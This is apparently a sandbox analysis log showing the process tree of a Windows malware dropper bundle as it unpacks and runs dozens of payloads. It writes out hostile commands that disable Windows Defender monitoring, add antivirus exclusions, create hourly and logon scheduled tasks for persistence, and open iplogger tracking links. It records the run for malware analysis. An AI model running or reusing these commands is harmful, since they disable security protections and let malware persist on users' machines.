  - Suspicious use of WriteProcessMemory
  PID:1868
- - C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4008
  - - C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\setup_install.exe
      "C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\setup_install.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1080
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4400
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2928
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3860
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2672
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue01d702368dbba.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3984
      - C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01d702368dbba.exe
        
        Tue01d702368dbba.exe
        6⤵
        Executes dropped EXE
        
        PID:4784
        
        C:\Users\Admin\AppData\Local\Temp\is-HE31D.tmp\Tue01d702368dbba.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-HE31D.tmp\Tue01d702368dbba.tmp" /SL5="$20164,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01d702368dbba.exe"
        7⤵
        
        PID:2296
        
        C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01d702368dbba.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01d702368dbba.exe" /SILENT
        8⤵
        Executes dropped EXE
        
        PID:2936
        
        C:\Users\Admin\AppData\Local\Temp\is-FGQHL.tmp\Tue01d702368dbba.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-FGQHL.tmp\Tue01d702368dbba.tmp" /SL5="$30210,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01d702368dbba.exe" /SILENT
        9⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5168
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue01994ec7a792fea9.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4308
      - C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01994ec7a792fea9.exe
        
        Tue01994ec7a792fea9.exe
        6⤵
        Executes dropped EXE
        
        PID:1892
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\_Dzpafigaxd.vbs"
        7⤵
        
        PID:3376
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath C:\,'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Google\Qekdqa.exe'
        8⤵
        
        PID:1644
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Dzpafigaxd.vbs"
        7⤵
        
        PID:4784
        
        C:\Users\Admin\AppData\Local\Temp\Fphrgjtnjgrqbtrochalunsaintly_2021-10-24_21-38.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Fphrgjtnjgrqbtrochalunsaintly_2021-10-24_21-38.exe"
        8⤵
        
        PID:5984
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5984 -s 240
        9⤵
        Program crash
        
        PID:1876
        
        C:\Users\Admin\AppData\Local\Temp\MSBuild.exe
        
        C:\Users\Admin\AppData\Local\Temp\MSBuild.exe
        7⤵
        
        PID:4024
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.google.com
        8⤵
        
        PID:4044
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue018f791563585c0f9.exe
        5⤵
        
        PID:4916
      - C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue018f791563585c0f9.exe
        
        Tue018f791563585c0f9.exe
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1232
        
        C:\Users\Admin\Pictures\Adobe Films\msd56LegiJcpSW5Qshcgps2a.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\msd56LegiJcpSW5Qshcgps2a.exe"
        7⤵
        Executes dropped EXE
        
        PID:5656
        
        C:\Users\Admin\Pictures\Adobe Films\eeqz_unejFCeAU0KaIsRC7SI.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\eeqz_unejFCeAU0KaIsRC7SI.exe"
        7⤵
        Executes dropped EXE
        
        PID:6128
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6128 -s 296
        8⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:3032
        
        C:\Users\Admin\Pictures\Adobe Films\lBcUZ1CkjIsRxo2q0wHsg_kl.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\lBcUZ1CkjIsRxo2q0wHsg_kl.exe"
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5000
        
        C:\Users\Admin\Pictures\Adobe Films\PqKRE3hL8vp0kr_sy1mJeWdP.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\PqKRE3hL8vp0kr_sy1mJeWdP.exe"
        7⤵
        Executes dropped EXE
        
        PID:5128
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5128 -s 280
        8⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:4028
        
        C:\Users\Admin\Pictures\Adobe Films\cGRxPW4fmZTC8sVr_TJdyu1d.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\cGRxPW4fmZTC8sVr_TJdyu1d.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: MapViewOfSection
        Suspicious use of AdjustPrivilegeToken
        
        PID:6096
        
        C:\Users\Admin\Pictures\Adobe Films\Yz2QhNybWM57ajoxzA0zSeYd.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Yz2QhNybWM57ajoxzA0zSeYd.exe"
        7⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        Executes dropped EXE
        
        PID:3952
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3952 -s 280
        8⤵
        Program crash
        
        PID:2848
        
        C:\Users\Admin\Pictures\Adobe Films\TEMRIQNyOZtDBfTDon0xyWiE.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\TEMRIQNyOZtDBfTDon0xyWiE.exe"
        7⤵
        
        PID:5968
        
        C:\Users\Admin\Documents\0ztj4EoJoU7Xa9Q43SsYopxZ.exe
        
        "C:\Users\Admin\Documents\0ztj4EoJoU7Xa9Q43SsYopxZ.exe"
        8⤵
        
        PID:5636
        
        C:\Users\Admin\Pictures\Adobe Films\1QpyE4lTnyD__g0tJtpbXhJX.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\1QpyE4lTnyD__g0tJtpbXhJX.exe"
        9⤵
        
        PID:3860
        
        C:\Users\Admin\Pictures\Adobe Films\ETWmZ2wCF2ieQ2CQGOuy4Rum.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\ETWmZ2wCF2ieQ2CQGOuy4Rum.exe"
        9⤵
        
        PID:4828
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 300
        10⤵
        Program crash
        
        PID:5460
        
        C:\Users\Admin\Pictures\Adobe Films\Mc1RITazx6lDE6y8mRkHgJUo.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Mc1RITazx6lDE6y8mRkHgJUo.exe"
        9⤵
        
        PID:1188
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1188 -s 280
        10⤵
        Program crash
        
        PID:2904
        
        C:\Users\Admin\Pictures\Adobe Films\nD1cN0yMOl5sUoUlh7vClYJd.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\nD1cN0yMOl5sUoUlh7vClYJd.exe"
        9⤵
        
        PID:1356
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1356 -s 1824
        10⤵
        Program crash
        
        PID:6040
        
        C:\Users\Admin\Pictures\Adobe Films\ljbyAN5X_o9FG4oCn55ahc2J.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\ljbyAN5X_o9FG4oCn55ahc2J.exe"
        9⤵
        
        PID:5864
        
        C:\Users\Admin\Pictures\Adobe Films\ljbyAN5X_o9FG4oCn55ahc2J.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\ljbyAN5X_o9FG4oCn55ahc2J.exe" -u
        10⤵
        
        PID:2980
        
        C:\Users\Admin\Pictures\Adobe Films\uhPtAUvPm6y7qCrfuC77lVFT.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\uhPtAUvPm6y7qCrfuC77lVFT.exe"
        9⤵
        
        PID:3276
        
        C:\Users\Admin\Pictures\Adobe Films\Io86yyqjQ5rP21HmFeJTjrUV.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Io86yyqjQ5rP21HmFeJTjrUV.exe"
        9⤵
        
        PID:7036
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        8⤵
        Creates scheduled task(s)
        
        PID:1840
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        8⤵
        Creates scheduled task(s)
        
        PID:1488
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue0133c29150b.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2840
      - C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue0133c29150b.exe
        
        Tue0133c29150b.exe
        6⤵
        Executes dropped EXE
        
        PID:4352
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4352 -s 280
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:3764
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue01c451610f4a.exe
        5⤵
        
        PID:1900
      - C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01c451610f4a.exe
        
        Tue01c451610f4a.exe
        6⤵
        Executes dropped EXE
        
        PID:4028
        
        C:\Users\Public\run.exe
        
        C:\Users\Public\run.exe
        7⤵
        Executes dropped EXE
        
        PID:5920
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        8⤵
        
        PID:5212
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5920 -s 284
        8⤵
        Program crash
        
        PID:5612
        
        C:\Users\Public\run2.exe
        
        C:\Users\Public\run2.exe
        7⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:5952
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/18tji7
        8⤵
        
        PID:1964
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x110,0x114,0x118,0xec,0x11c,0x7ffcb98646f8,0x7ffcb9864708,0x7ffcb9864718
        9⤵
        
        PID:5504
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2144 /prefetch:2
        9⤵
        
        PID:2796
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 /prefetch:3
        9⤵
        
        PID:2516
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2684 /prefetch:8
        9⤵
        
        PID:6052
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3792 /prefetch:1
        9⤵
        
        PID:2804
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3800 /prefetch:1
        9⤵
        
        PID:3684
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4420 /prefetch:1
        9⤵
        
        PID:3592
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5036 /prefetch:1
        9⤵
        
        PID:3408
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5288 /prefetch:1
        9⤵
        
        PID:5456
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5680 /prefetch:1
        9⤵
        
        PID:5816
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5728 /prefetch:1
        9⤵
        
        PID:4304
        
        C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5412 /prefetch:8
        9⤵
        
        PID:560
        
        C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5412 /prefetch:8
        9⤵
        
        PID:6020
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue010769fc7f9829.exe
        5⤵
        
        PID:3800
      - C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue010769fc7f9829.exe
        
        Tue010769fc7f9829.exe
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3260
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue017abac33187.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3144
      - C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue017abac33187.exe
        
        Tue017abac33187.exe
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4512
        
        C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue017abac33187.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue017abac33187.exe
        7⤵
        Executes dropped EXE
        
        PID:5204
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/1kYWa7
        8⤵
        
        PID:5332
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffcb98646f8,0x7ffcb9864708,0x7ffcb9864718
        9⤵
        
        PID:3784
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue0138d4026db6d813e.exe /mixone
        5⤵
        
        PID:3068
      - C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue0138d4026db6d813e.exe
        
        Tue0138d4026db6d813e.exe /mixone
        6⤵
        Executes dropped EXE
        
        PID:1096
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1096 -s 240
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5680
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue018bc5c5a0a3d4.exe
        5⤵
        
        PID:420
      - C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue018bc5c5a0a3d4.exe
        
        Tue018bc5c5a0a3d4.exe
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4664
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue01e8898e0d1fce4.exe
        5⤵
        
        PID:4120
      - C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01e8898e0d1fce4.exe
        
        Tue01e8898e0d1fce4.exe
        6⤵
        Executes dropped EXE
        
        PID:3472
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue01bba8b80fa4.exe
        5⤵
        
        PID:3092
      - C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01bba8b80fa4.exe
        
        Tue01bba8b80fa4.exe
        6⤵
        Executes dropped EXE
        
        PID:5044
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5044 -s 280
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5664
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue0195119235.exe
        5⤵
        
        PID:1596
      - C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue0195119235.exe
        
        Tue0195119235.exe
        6⤵
        Executes dropped EXE
        
        PID:3276
        
        C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue0195119235.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue0195119235.exe" -u
        7⤵
        Executes dropped EXE
        
        PID:5228
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue01bf08f313b912.exe
        5⤵
        
        PID:820
      - C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01bf08f313b912.exe
        
        Tue01bf08f313b912.exe
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4588
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4588 -s 1388
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:2556
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue01de2411919659f09.exe
        5⤵
        
        PID:3784
      - C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01de2411919659f09.exe
        
        Tue01de2411919659f09.exe
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4528
        
        C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01de2411919659f09.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01de2411919659f09.exe
        7⤵
        Executes dropped EXE
        
        PID:5188
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5188 -s 164
        8⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5548
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue0105f10596.exe
        5⤵
        
        PID:3284
      - C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue0105f10596.exe
        
        Tue0105f10596.exe
        6⤵
        Executes dropped EXE
        
        PID:3864
        
        C:\Users\Admin\Pictures\Adobe Films\HDEEbhe9r_UfhcufDq88Hyi8.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\HDEEbhe9r_UfhcufDq88Hyi8.exe"
        7⤵
        
        PID:4980
        
        C:\Users\Admin\Pictures\Adobe Films\7juc60EM6TSuPAeFW4N3RhHg.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\7juc60EM6TSuPAeFW4N3RhHg.exe"
        7⤵
        
        PID:1624
        
        C:\Users\Admin\Pictures\Adobe Films\sdK4dl2qXFtc8RgDzRuRQ6fX.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\sdK4dl2qXFtc8RgDzRuRQ6fX.exe"
        7⤵
        
        PID:6012
        
        C:\Users\Admin\Pictures\Adobe Films\1qgboQzRtCb43OZGZ2wNfcyH.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\1qgboQzRtCb43OZGZ2wNfcyH.exe"
        7⤵
        
        PID:4240
        
        C:\Users\Admin\Pictures\Adobe Films\vfQ0XoF0KYzAJOIjGYERObQP.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\vfQ0XoF0KYzAJOIjGYERObQP.exe"
        7⤵
        
        PID:4796
        
        C:\Users\Admin\Pictures\Adobe Films\LMFO6QWFvcJ9vOnHGeA6QLZ1.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\LMFO6QWFvcJ9vOnHGeA6QLZ1.exe"
        7⤵
        
        PID:4284
        
        C:\Users\Admin\Pictures\Adobe Films\kdiWiazc_8jZDwRS192tba3G.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\kdiWiazc_8jZDwRS192tba3G.exe"
        7⤵
        
        PID:6156
        
        C:\Program Files (x86)\Company\NewProduct\cutm3.exe
        
        "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
        8⤵
        
        PID:6888
        
        C:\Users\Admin\Pictures\Adobe Films\idZgPrMxC2jxKkgfX17SY602.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\idZgPrMxC2jxKkgfX17SY602.exe"
        7⤵
        
        PID:6104
        
        C:\Users\Admin\Pictures\Adobe Films\P6VHvUtX5pqmixo220CDs1f7.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\P6VHvUtX5pqmixo220CDs1f7.exe"
        7⤵
        
        PID:3928
        
        C:\Users\Admin\Pictures\Adobe Films\r_wJXHj3CQpsnE6p_uw85C_N.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\r_wJXHj3CQpsnE6p_uw85C_N.exe"
        7⤵
        
        PID:4536
        
        C:\Users\Admin\Pictures\Adobe Films\fCiMtoJwC8HasRcwNJS0bg1p.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\fCiMtoJwC8HasRcwNJS0bg1p.exe"
        7⤵
        
        PID:1340
        
        C:\Users\Admin\Pictures\Adobe Films\rsOU3HwpqyI26RfC61MCjgI5.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\rsOU3HwpqyI26RfC61MCjgI5.exe"
        7⤵
        
        PID:3740
        
        C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
        
        C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
        8⤵
        
        PID:6512
        
        C:\Users\Admin\AppData\Roaming\Underdress.exe
        
        C:\Users\Admin\AppData\Roaming\Underdress.exe
        8⤵
        
        PID:6540
        
        C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"
        9⤵
        
        PID:6844
        
        C:\Users\Admin\Pictures\Adobe Films\sEMgJzM68edVpY6ZvB_itO35.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\sEMgJzM68edVpY6ZvB_itO35.exe"
        7⤵
        
        PID:2852
        
        C:\Users\Admin\Pictures\Adobe Films\JRxI61fpo0ZQfLhLi6CUgoq3.exe
        
